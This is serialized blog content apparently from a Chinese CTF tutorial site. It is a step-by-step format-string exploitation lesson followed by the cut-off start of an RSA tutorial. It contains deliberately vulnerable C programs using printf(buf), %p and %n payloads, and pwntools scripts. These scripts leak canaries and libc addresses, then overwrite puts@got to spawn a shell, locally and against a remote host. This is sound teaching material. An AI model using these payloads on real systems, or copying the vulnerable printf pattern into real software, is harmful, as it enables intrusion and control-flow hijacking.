text":113},{"id":266,"depth":84,"text":267},{"id":377,"depth":84,"text":378},{"id":494,"depth":84,"text":495},{"id":615,"depth":84,"text":616},{"id":688,"depth":84,"text":689},{"id":1086,"depth":84,"text":1087},{"id":1163,"depth":84,"text":1164},{"id":1231,"depth":84,"text":1232},{"date":1263,"image":1264,"alt":1265,"tags":9650,"published":141},[1267,290,1268,1269],{"title":5,"description":1260},{"id":9653,"title":9654,"body":9655,"description":10680,"extension":1261,"meta":10681,"navigation":141,"ogImage":4378,"path":10685,"seo":10686,"stem":10687,"__hash__":10688},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9656,"toc":10668},[9657,9661,9664,9679,9694,9711,9715,9720,9769,9790,9794,9799,9801,9810,9812,9818,9821,9827,9838,9846,9850,9855,9871,9874,9876,9884,9886,9892,9895,9901,9911,9978,9983,10013,10017,10022,10035,10043,10098,10151,10154,10163,10166,10170,10175,10190,10195,10201,10203,10216,10219,10262,10266,10277,10285,10291,10361,10394,10397,10476,10482,10511,10521,10523,10581,10585,10592,10601,10644,10646,10652,10654,10665],[10,9658,9660],{"id":9659},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9662,9663],{},"C 程序员常写的输出代码：",[41,9665,9667],{"className":122,"code":9666,"language":124,"meta":46,"style":46},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[18,9668,9669,9674],{"__ignoreMap":46},[50,9670,9671],{"class":52,"line":53},[50,9672,9673],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[50,9675,9676],{"class":52,"line":70},[50,9677,9678],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9680,9681,9682,9685,9686,9689,9690,9693],{},"当 ",[18,9683,9684],{},"buf"," 内容是 ",[18,9687,9688],{},"%p"," 时，",[18,9691,9692],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9695,9696,9697,9705],"ul",{},[1039,9698,9699,1117,9701,9704],{},[18,9700,9688],{},[18,9702,9703],{},"%s","：任意读（泄露内存）。",[1039,9706,9707,9710],{},[18,9708,9709],{},"%n","：任意写（写入内存）。",[10,9712,9714],{"id":9713},"二漏洞程序与编译","二、漏洞程序与编译",[15,9716,9717,119],{},[18,9718,9719],{},"fmt.c",[41,9721,9723],{"className":122,"code":9722,"language":124,"meta":46,"style":46},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[18,9724,9725,9729,9733,9737,9742,9746,9751,9756,9761,9765],{"__ignoreMap":46},[50,9726,9727],{"class":52,"line":53},[50,9728,131],{},[50,9730,9731],{"class":52,"line":70},[50,9732,142],{"emptyLinePlaceholder":141},[50,9734,9735],{"class":52,"line":84},[50,9736,199],{},[50,9738,9739],{"class":52,"line":145},[50,9740,9741],{},"    char buf[100];\n",[50,9743,9744],{"class":52,"line":151},[50,9745,205],{},[50,9747,9748],{"class":52,"line":157},[50,9749,9750],{},"    printf(\"> \");\n",[50,9752,9753],{"class":52,"line":163},[50,9754,9755],{},"    fgets(buf, sizeof(buf), stdin);\n",[50,9757,9758],{"class":52,"line":168},[50,9759,9760],{},"    printf(buf);          // 漏洞\n",[50,9762,9763],{"class":52,"line":174},[50,9764,229],{},[50,9766,9767],{"class":52,"line":180},[50,9768,160],{},[41,9770,9772],{"className":43,"code":9771,"language":45,"meta":46,"style":46},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[18,9773,9774],{"__ignoreMap":46},[50,9775,9776,9778,9780,9783,9786,9788],{"class":52,"line":53},[50,9777,247],{"class":56},[50,9779,251],{"class":250},[50,9781,9782],{"class":60}," fmt",[50,9784,9785],{"class":60}," fmt.c",[50,9787,260],{"class":250},[50,9789,263],{"class":250},[10,9791,9793],{"id":9792},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9795,9796,9798],{},[271,9797,273],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9800,569],{},[41,9802,9804],{"className":43,"code":9803,"language":45,"meta":46,"style":46},"./fmt\n",[18,9805,9806],{"__ignoreMap":46},[50,9807,9808],{"class":52,"line":53},[50,9809,9803],{"class":56},[15,9811,1398],{},[41,9813,9816],{"className":9814,"code":9815,"language":305,"meta":46},[303],"%p.%p.%p.%p.%p.%p\n",[18,9817,9815],{"__ignoreMap":46},[15,9819,9820],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[41,9822,9825],{"className":9823,"code":9824,"language":305,"meta":46},[303],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[18,9826,9824],{"__ignoreMap":46},[15,9828,9829,9830,9833,9834,9837],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[18,9831,9832],{},"0x70252e70","，正是 ",[18,9835,9836],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9839,9840,119,9843,9845],{},[271,9841,9842],{},"为什么能泄露",[18,9844,9692],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9847,9849],{"id":9848},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9851,9852,9854],{},[271,9853,273],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9856,9857,9859,9860,9862,9863,9866,9867,9870],{},[271,9858,279],{},"：在输入开头放 4 个 ",[18,9861,3069],{},"，用 ",[18,9864,9865],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[18,9868,9869],{},"0x41414141","，哪个位置就是输入起点。",[15,9872,9873],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9875,569],{},[41,9877,9878],{"className":43,"code":9803,"language":45,"meta":46,"style":46},[18,9879,9880],{"__ignoreMap":46},[50,9881,9882],{"class":52,"line":53},[50,9883,9803],{"class":56},[15,9885,1398],{},[41,9887,9890],{"className":9888,"code":9889,"language":305,"meta":46},[303],"AAAA.%6$p\n",[18,9891,9889],{"__ignoreMap":46},[15,9893,9894],{},"预期输出（Linux x86-64 典型情况）：",[41,9896,9899],{"className":9897,"code":9898,"language":305,"meta":46},[303],"> AAAA.0x41414141\n",[18,9900,9898],{"__ignoreMap":46},[15,9902,9903,9904,9906,9907,9910],{},"出现 ",[18,9905,9869],{},"（",[18,9908,9909],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[41,9912,9914],{"className":411,"code":9913,"language":413,"meta":46,"style":46},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[18,9915,9916,9920,9924,9929,9934,9939,9944,9949,9954,9959,9964,9969,9974],{"__ignoreMap":46},[50,9917,9918],{"class":52,"line":53},[50,9919,420],{},[50,9921,9922],{"class":52,"line":70},[50,9923,142],{"emptyLinePlaceholder":141},[50,9925,9926],{"class":52,"line":84},[50,9927,9928],{},"for i in range(1, 15):\n",[50,9930,9931],{"class":52,"line":145},[50,9932,9933],{},"    p = process('./fmt')\n",[50,9935,9936],{"class":52,"line":151},[50,9937,9938],{},"    p.recvuntil(b'> ')\n",[50,9940,9941],{"class":52,"line":157},[50,9942,9943],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[50,9945,9946],{"class":52,"line":163},[50,9947,9948],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[50,9950,9951],{"class":52,"line":168},[50,9952,9953],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[50,9955,9956],{"class":52,"line":174},[50,9957,9958],{},"    out = p.recvall()\n",[50,9960,9961],{"class":52,"line":180},[50,9962,9963],{},"    if b'0x41414141' in out:\n",[50,9965,9966],{"class":52,"line":186},[50,9967,9968],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[50,9970,9971],{"class":52,"line":191},[50,9972,9973],{},"        print(f'offset = {i}')\n",[50,9975,9976],{"class":52,"line":196},[50,9977,3795],{},[15,9979,299,9980,697],{},[18,9981,9982],{},"offset = 6",[15,9984,9985,9986,4962,9989,9991,9992,9994,9995,9998,9999,10002,10003,9998,10006,1932,10009,10012],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[18,9987,9988],{},"rdi, rsi, rdx, rcx, r8, r9",[18,9990,9692],{}," 自己占 ",[18,9993,675],{},"，所以 ",[18,9996,9997],{},"%1$p"," 到 ",[18,10000,10001],{},"%5$p"," 对应 ",[18,10004,10005],{},"rsi",[18,10007,10008],{},"r9",[18,10010,10011],{},"%6$p"," 开始读栈。",[10,10014,10016],{"id":10015},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10018,10019,10021],{},[271,10020,273],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10023,10024,10026,10027,10030,10031,10034],{},[271,10025,279],{},"：不同数据在栈上有固定特征——canary 以 ",[18,10028,10029],{},"00"," 结尾，libc 地址以 ",[18,10032,10033],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10036,2014,10037,9998,10039,10042],{},[18,10038,10011],{},[18,10040,10041],{},"%40$p"," 全部打出来，识别特征值：",[312,10044,10045,10055],{},[315,10046,10047],{},[318,10048,10049,10052],{},[321,10050,10051],{},"值特征",[321,10053,10054],{},"内容",[328,10056,10057,10068,10079,10089],{},[318,10058,10059,10065],{},[333,10060,10061,10062,10064],{},"以 ",[18,10063,10029],{}," 结尾的随机值",[333,10066,10067],{},"canary",[318,10069,10070,10076],{},[333,10071,10072,10075],{},[18,10073,10074],{},"0x7fff"," 开头",[333,10077,10078],{},"栈地址",[318,10080,10081,10086],{},[333,10082,10083,10075],{},[18,10084,10085],{},"0x55/0x56",[333,10087,10088],{},"程序代码地址（PIE 基址相关）",[318,10090,10091,10095],{},[333,10092,10093,10075],{},[18,10094,10033],{},[333,10096,10097],{},"libc 地址",[41,10099,10101],{"className":411,"code":10100,"language":413,"meta":46,"style":46},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[18,10102,10103,10108,10113,10117,10122,10127,10131,10136,10141,10146],{"__ignoreMap":46},[50,10104,10105],{"class":52,"line":53},[50,10106,10107],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[50,10109,10110],{"class":52,"line":70},[50,10111,10112],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[50,10114,10115],{"class":52,"line":84},[50,10116,556],{},[50,10118,10119],{"class":52,"line":145},[50,10120,10121],{},"out = p.recvall().decode().split('.')\n",[50,10123,10124],{"class":52,"line":151},[50,10125,10126],{},"# 按点号切分，得到每个位置的值。\n",[50,10128,10129],{"class":52,"line":157},[50,10130,142],{"emptyLinePlaceholder":141},[50,10132,10133],{"class":52,"line":163},[50,10134,10135],{},"for i, v in enumerate(out):\n",[50,10137,10138],{"class":52,"line":168},[50,10139,10140],{},"    if v.endswith('00') and len(v) == 18:\n",[50,10142,10143],{"class":52,"line":174},[50,10144,10145],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[50,10147,10148],{"class":52,"line":180},[50,10149,10150],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10152,10153],{},"泄露 libc 地址后：",[41,10155,10157],{"className":411,"code":10156,"language":413,"meta":46,"style":46},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[18,10158,10159],{"__ignoreMap":46},[50,10160,10161],{"class":52,"line":53},[50,10162,10156],{},[15,10164,10165],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10167,10169],{"id":10168},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10171,10172,10174],{},[271,10173,273],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10176,10177,119,10179,10181,10182,10185,10186,10189],{},[271,10178,279],{},[18,10180,9709],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[18,10183,10184],{},"%100c"," 精确控制打印量，再用 ",[18,10187,10188],{},"%N$n"," 写到目标地址。",[15,10191,10192,10194],{},[18,10193,9709],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[41,10196,10199],{"className":10197,"code":10198,"language":305,"meta":46},[303],"%100c%7$n\n",[18,10200,10198],{"__ignoreMap":46},[15,10202,594],{},[1036,10204,10205,10210],{},[1039,10206,10207,10209],{},[18,10208,10184],{}," 打印 100 个填充字符，已打印数变成 100。",[1039,10211,10212,10215],{},[18,10213,10214],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10217,10218],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[312,10220,10221,10231],{},[315,10222,10223],{},[318,10224,10225,10228],{},[321,10226,10227],{},"说明符",[321,10229,10230],{},"写入字节数",[328,10232,10233,10242,10252],{},[318,10234,10235,10239],{},[333,10236,10237],{},[18,10238,9709],{},[333,10240,10241],{},"4 字节",[318,10243,10244,10249],{},[333,10245,10246],{},[18,10247,10248],{},"%hn",[333,10250,10251],{},"2 字节",[318,10253,10254,10259],{},[333,10255,10256],{},[18,10257,10258],{},"%hhn",[333,10260,10261],{},"1 字节",[10,10263,10265],{"id":10264},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10267,10268,10270,10271,10273,10274,10276],{},[271,10269,273],{},"：把程序即将调用的 ",[18,10272,1046],{}," 改成我们的 ",[18,10275,363],{},"，实现控制流劫持。",[15,10278,10279,119,10281,10284],{},[271,10280,279],{},[18,10282,10283],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10286,10287,10288,119],{},"目标程序 ",[18,10289,10290],{},"fmt2.c",[41,10292,10294],{"className":122,"code":10293,"language":124,"meta":46,"style":46},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[18,10295,10296,10300,10304,10308,10312,10316,10320,10324,10328,10332,10336,10340,10344,10348,10353,10357],{"__ignoreMap":46},[50,10297,10298],{"class":52,"line":53},[50,10299,131],{},[50,10301,10302],{"class":52,"line":70},[50,10303,136],{},[50,10305,10306],{"class":52,"line":84},[50,10307,142],{"emptyLinePlaceholder":141},[50,10309,10310],{"class":52,"line":145},[50,10311,148],{},[50,10313,10314],{"class":52,"line":151},[50,10315,154],{},[50,10317,10318],{"class":52,"line":157},[50,10319,160],{},[50,10321,10322],{"class":52,"line":163},[50,10323,142],{"emptyLinePlaceholder":141},[50,10325,10326],{"class":52,"line":168},[50,10327,199],{},[50,10329,10330],{"class":52,"line":174},[50,10331,9741],{},[50,10333,10334],{"class":52,"line":180},[50,10335,205],{},[50,10337,10338],{"class":52,"line":186},[50,10339,9750],{},[50,10341,10342],{"class":52,"line":191},[50,10343,9755],{},[50,10345,10346],{"class":52,"line":196},[50,10347,9760],{},[50,10349,10350],{"class":52,"line":202},[50,10351,10352],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[50,10354,10355],{"class":52,"line":208},[50,10356,229],{},[50,10358,10359],{"class":52,"line":214},[50,10360,160],{},[41,10362,10364],{"className":43,"code":10363,"language":45,"meta":46,"style":46},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[18,10365,10366,10382],{"__ignoreMap":46},[50,10367,10368,10370,10372,10375,10378,10380],{"class":52,"line":53},[50,10369,247],{"class":56},[50,10371,251],{"class":250},[50,10373,10374],{"class":60}," fmt2",[50,10376,10377],{"class":60}," fmt2.c",[50,10379,260],{"class":250},[50,10381,263],{"class":250},[50,10383,10384,10386,10388,10391],{"class":52,"line":70},[50,10385,290],{"class":56},[50,10387,293],{"class":60},[50,10389,10390],{"class":60}," ./fmt2",[50,10392,10393],{"class":2741},"     # 需为 Partial RELRO，GOT 可写\n",[15,10395,10396],{},"利用脚本：",[41,10398,10400],{"className":411,"code":10399,"language":413,"meta":46,"style":46},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[18,10401,10402,10406,10410,10415,10420,10425,10429,10434,10439,10444,10449,10454,10459,10464,10468,10472],{"__ignoreMap":46},[50,10403,10404],{"class":52,"line":53},[50,10405,420],{},[50,10407,10408],{"class":52,"line":70},[50,10409,142],{"emptyLinePlaceholder":141},[50,10411,10412],{"class":52,"line":84},[50,10413,10414],{},"context.binary = elf = ELF('./fmt2')\n",[50,10416,10417],{"class":52,"line":145},[50,10418,10419],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[50,10421,10422],{"class":52,"line":151},[50,10423,10424],{},"p = process('./fmt2')\n",[50,10426,10427],{"class":52,"line":157},[50,10428,142],{"emptyLinePlaceholder":141},[50,10430,10431],{"class":52,"line":163},[50,10432,10433],{},"offset = 6\n",[50,10435,10436],{"class":52,"line":168},[50,10437,10438],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[50,10440,10441],{"class":52,"line":174},[50,10442,10443],{},"# fmtstr_payload(offset, writes)：\n",[50,10445,10446],{"class":52,"line":180},[50,10447,10448],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[50,10450,10451],{"class":52,"line":186},[50,10452,10453],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[50,10455,10456],{"class":52,"line":191},[50,10457,10458],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[50,10460,10461],{"class":52,"line":196},[50,10462,10463],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[50,10465,10466],{"class":52,"line":202},[50,10467,142],{"emptyLinePlaceholder":141},[50,10469,10470],{"class":52,"line":208},[50,10471,556],{},[50,10473,10474],{"class":52,"line":214},[50,10475,561],{},[15,10477,10478,10481],{},[18,10479,10480],{},"fmtstr_payload"," 自动完成：",[1036,10483,10484,10489,10496,10505],{},[1039,10485,2014,10486,10488],{},[18,10487,363],{}," 地址拆成低 2 字节和高 2 字节。",[1039,10490,10491,10492,10495],{},"生成 ",[18,10493,10494],{},"%c"," 控制打印量。",[1039,10497,10498,10499,21,10501,10504],{},"把两个目标地址（",[18,10500,10283],{},[18,10502,10503],{},"puts@got+2","）放到对应参数位置。",[1039,10506,10507,10508,10510],{},"用 ",[18,10509,10248],{}," 分别写入。",[15,10512,10513,10514,10517,10518,10520],{},"预期结果：程序执行 ",[18,10515,10516],{},"puts(\"Done\")"," 时实际调用 ",[18,10519,3164],{},"，进入 shell。",[10,10522,3172],{"id":3171},[312,10524,10525,10535],{},[315,10526,10527],{},[318,10528,10529,10531,10533],{},[321,10530,1096],{},[321,10532,1099],{},[321,10534,1102],{},[328,10536,10537,10555,10567],{},[318,10538,10539,10541,10553],{},[333,10540,1109],{},[333,10542,10543,21,10545,21,10548,1117,10550],{},[18,10544,10480],{},[18,10546,10547],{},"FmtStr",[18,10549,1126],{},[18,10551,10552],{},"recvuntil",[333,10554,1129],{},[318,10556,10557,10559,10562],{},[333,10558,1238],{},[333,10560,10561],{},"看 RELRO、Canary、PIE",[333,10563,10564],{},[18,10565,10566],{},"pwn checksec ./fmt2",[318,10568,10569,10571,10574],{},[333,10570,1146],{},[333,10572,10573],{},"断点、看栈、验证参数位置",[333,10575,10576,21,10579],{},[18,10577,10578],{},"break main",[18,10580,1157],{},[10,10582,10584],{"id":10583},"九小-ctf-实战","九、小 CTF 实战",[15,10586,10587,10588,10591],{},"题目：远程运行 ",[18,10589,10590],{},"fmt2","（Partial RELRO、No PIE）。",[15,10593,10594,10596,10597,10600],{},[271,10595,279],{},"：与本地脚本唯一区别是 ",[18,10598,10599],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[41,10602,10604],{"className":411,"code":10603,"language":413,"meta":46,"style":46},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[18,10605,10606,10610,10614,10618,10623,10627,10632,10636,10640],{"__ignoreMap":46},[50,10607,10608],{"class":52,"line":53},[50,10609,420],{},[50,10611,10612],{"class":52,"line":70},[50,10613,142],{"emptyLinePlaceholder":141},[50,10615,10616],{"class":52,"line":84},[50,10617,10414],{},[50,10619,10620],{"class":52,"line":145},[50,10621,10622],{},"p = remote('1.2.3.4', 10002)\n",[50,10624,10625],{"class":52,"line":151},[50,10626,142],{"emptyLinePlaceholder":141},[50,10628,10629],{"class":52,"line":157},[50,10630,10631],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[50,10633,10634],{"class":52,"line":163},[50,10635,556],{},[50,10637,10638],{"class":52,"line":168},[50,10639,1216],{},[50,10641,10642],{"class":52,"line":174},[50,10643,561],{},[15,10645,299],{},[41,10647,10650],{"className":10648,"code":10649,"language":305,"meta":46},[303],"flag{format_string}\n",[18,10651,10649],{"__ignoreMap":46},[10,10653,3348],{"id":3347},[15,10655,10656,10657,1117,10659,10661,10662,10664],{},"格式化字符串提供两种原语：",[18,10658,9688],{},[18,10660,9703],{}," 任意读，",[18,10663,9709],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1244,10666,10667],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":46,"searchDepth":70,"depth":70,"links":10669},[10670,10671,10672,10673,10674,10675,10676,10677,10678,10679],{"id":9659,"depth":84,"text":9660},{"id":9713,"depth":84,"text":9714},{"id":9792,"depth":84,"text":9793},{"id":9848,"depth":84,"text":9849},{"id":10015,"depth":84,"text":10016},{"id":10168,"depth":84,"text":10169},{"id":10264,"depth":84,"text":10265},{"id":3171,"depth":84,"text":3172},{"id":10583,"depth":84,"text":10584},{"id":3347,"depth":84,"text":3348},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1263,"image":4378,"alt":10682,"tags":10683,"published":141},"格式化字符串深入实战",[1267,290,10684,1269],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9654,"description":10680},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10690,"title":10691,"body":10692,"description":11659,"extension":1261,"meta":11660,"navigation":141,"ogImage":8743,"path":11664,"seo":11665,"stem":11666,"__hash__":11667},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10693,"toc":11647},[10694,10698,10701,10704,10727,10740,10742,10758,10762,10768,10771,10786,10790,10795,10800,10889,10891,10897,10904,10908,10913,10918,10922,10941,10943,10949,10955,10959,10964,11049,11051,11057,11066,11070,11078,11107,11111,11115,11125,11131,11135,11140,11145,11152,11158,11161,11167,11171,11334,11336,11342,11346,11413,11415,11476,11485,11487,11489,11495,11498,11502,11507,11521,11523,11529,11533,11542,11592,11594,11600,11604,11636,11638,11645],[10,10695,10697],{"id":10696},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10699,10700],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10702,10703],{},"DH 最小实现（见密码学全景篇）：",[41,10705,10707],{"className":411,"code":10706,"language":413,"meta":46,"style":46},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[18,10708,10709,10713,10717,10722],{"__ignoreMap":46},[50,10710,10711],{"class":52,"line":53},[50,10712,4014],{},[50,10714,10715],{"class":52,"line":70},[50,10716,4029],{},[50,10718,10719],{"class":52,"line":84},[50,10720,10721],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[50,10723,10724],{"class":52,"line":145},[50,10725,10726],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10728,10729,10730,10733,10734,21,10736,10739],{},"RSA 的安全基础是：已知 ",[18,10731,10732],{},"n"," 求 ",[18,10735,15],{},[18,10737,10738],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10741,39],{"id":38},[41,10743,10744],{"className":43,"code":3601,"language":45,"meta":46,"style":46},[18,10745,10746],{"__ignoreMap":46},[50,10747,10748,10750,10752,10754,10756],{"class":52,"line":53},[50,10749,73],{"class":56},[50,10751,61],{"class":60},[50,10753,3612],{"class":60},[50,10755,3615],{"class":60},[50,10757,3618],{"class":60},[10,10759,10761],{"id":10760},"三核心知识rsa-公式","三、核心知识：RSA 公式",[41,10763,10766],{"className":10764,"code":10765,"language":305,"meta":46},[303],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[18,10767,10765],{"__ignoreMap":46},[15,10769,10770],{},"三个必须会用的 Python 运算：",[41,10772,10774],{"className":411,"code":10773,"language":413,"meta":46,"style":46},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[18,10775,10776,10781],{"__ignoreMap":46},[50,10777,10778],{"class":52,"line":53},[50,10779,10780],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[50,10782,10783],{"class":52,"line":70},[50,10784,10785],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10787,10789],{"id":10788},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10791,10792,10794],{},[271,10793,273],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10796,10797,10799],{},[271,10798,279],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[41,10801,10803],{"className":411,"code":10802,"language":413,"meta":46,"style":46},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[18,10804,10805,10810,10815,10820,10825,10830,10835,10840,10844,10849,10854,10859,10864,10869,10874,10879,10884],{"__ignoreMap":46},[50,10806,10807],{"class":52,"line":53},[50,10808,10809],{},"p, q, e = 61, 53, 17\n",[50,10811,10812],{"class":52,"line":70},[50,10813,10814],{},"n = p * 